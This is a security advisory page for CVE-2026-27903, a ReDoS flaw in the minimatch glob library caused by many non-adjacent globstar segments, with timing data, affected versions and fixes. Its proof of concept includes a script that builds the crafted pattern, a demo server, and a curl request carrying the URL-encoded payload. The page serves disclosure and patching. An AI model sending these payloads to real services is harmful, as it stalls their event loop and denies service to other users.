Vulnerability-Lookup

GHSA-7R86-CG39-JMMJ

Vulnerability from github – Published: 2026-02-26 22:10 – Updated: 2026-02-26 22:10

Summary

minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

Details

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.

Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars)	Pattern size	Time
7	36 bytes	~154ms
9	46 bytes	~1.2s
11	56 bytes	~5.4s
12	61 bytes	~9.7s
13	66 bytes	~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:10:18Z",
    "nvd_published_at": "2026-02-26T02:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.\n\n---\n\n### Details\n\nThe vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):\n\n```typescript\nwhile (fr \u003c fl) {\n  ..\n  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {\n    ..\n    return true\n  }\n  ..\n  fr++\n}\n```\n\nWhen a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).\n\nThere is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input.\n\nMeasured timing with n=30 path segments:\n\n| k (globstars) | Pattern size | Time     |\n|---------------|--------------|----------|\n| 7             | 36 bytes     | ~154ms   |\n| 9             | 46 bytes     | ~1.2s    |\n| 11            | 56 bytes     | ~5.4s    |\n| 12            | 61 bytes     | ~9.7s    |\n| 13            | 66 bytes     | ~15.9s   |\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- inline script**\n\n```javascript\nimport { minimatch } from \u0027minimatch\u0027\n\n// k=9 globstars, n=30 path segments\n// pattern: 46 bytes, default options\nconst pattern = \u0027**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b\u0027\nconst path    = \u0027a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a\u0027\n\nconst start = Date.now()\nminimatch(path, pattern)\nconsole.log(Date.now() - start + \u0027ms\u0027) // ~1200ms\n```\n\nTo scale the effect, increase k:\n\n```javascript\n// k=11 -\u003e ~5.4s, k=13 -\u003e ~15.9s\nconst k = 11\nconst pattern = Array.from({ length: k }, () =\u003e \u0027**/a\u0027).join(\u0027/\u0027) + \u0027/b\u0027\nconst path    = Array(30).fill(\u0027a\u0027).join(\u0027/\u0027)\nminimatch(path, pattern)\n```\n\nNo special options are required. This reproduces with the default `minimatch()` call.\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nThe following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:\n\n```javascript\n// poc1-server.mjs\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3000\n\nconst server = http.createServer((req, res) =\u003e {\n  const url = new URL(req.url, `http://localhost:${PORT}`)\n  if (url.pathname !== \u0027/match\u0027) { res.writeHead(404); res.end(); return }\n\n  const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n  const path    = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n  const start  = process.hrtime.bigint()\n  const result = minimatch(path, pattern)\n  const ms     = Number(process.hrtime.bigint() - start) / 1e6\n\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n})\n\nserver.listen(PORT)\n```\n\nTerminal 1 -- start the server:\n```\nnode poc1-server.mjs\n```\n\nTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:\n```\ncurl \"http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb\u0026path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa\" \u0026\n```\n\nTerminal 3 -- while the attack is in-flight, send a benign request:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3000/match?pattern=**%2Fy%2Fz\u0026path=x%2Fy%2Fz\"\n```\n\n**Observed output (Terminal 3):**\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 4.132709s\n```\n\nThe server reports `\"ms\":\"0\"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:\n\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 0.001599s\n```\n\n---\n\n### Impact\n\nAny application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.",
  "id": "GHSA-7r86-cg39-jmmj",
  "modified": "2026-02-26T22:10:18Z",
  "published": "2026-02-26T22:10:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-7r86-cg39-jmmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27903"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/minimatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments"
}

CVE-2026-27903 (GCVE-0-2026-27903)

Vulnerability from cvelistv5 – Published: 2026-02-26 01:06 – Updated: 2026-02-26 19:20

Title

minimatch has a ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

Summary

minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-407 - Inefficient Algorithmic Complexity

Assigner

GitHub_M

References

URL

Tags

https://github.com/isaacs/minimatch/security/advi…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	isaacs	minimatch	Affected: >= 10.0.0, < 10.2.3 Affected: >= 9.0.0, < 9.0.7 Affected: >= 8.0.0, < 8.0.6 Affected: >= 7.0.0, < 7.4.8 Affected: >= 6.0.0, < 6.2.2 Affected: >= 5.0.0, < 5.1.8 Affected: >= 4.0.0, < 4.2.5 Affected: < 3.1.3

Show details on NVD website

JSON

To clipboard

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                "id": "CVE-2026-27903",
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            "attackComplexity": "LOW",
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        "discovery": "UNKNOWN"
      },
      "title": "minimatch has a ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments"
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Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-7R86-CG39-JMMJ

Summary

Details

PoC

Impact

CVE-2026-27903 (GCVE-0-2026-27903)

Tags

Sightings

Nomenclature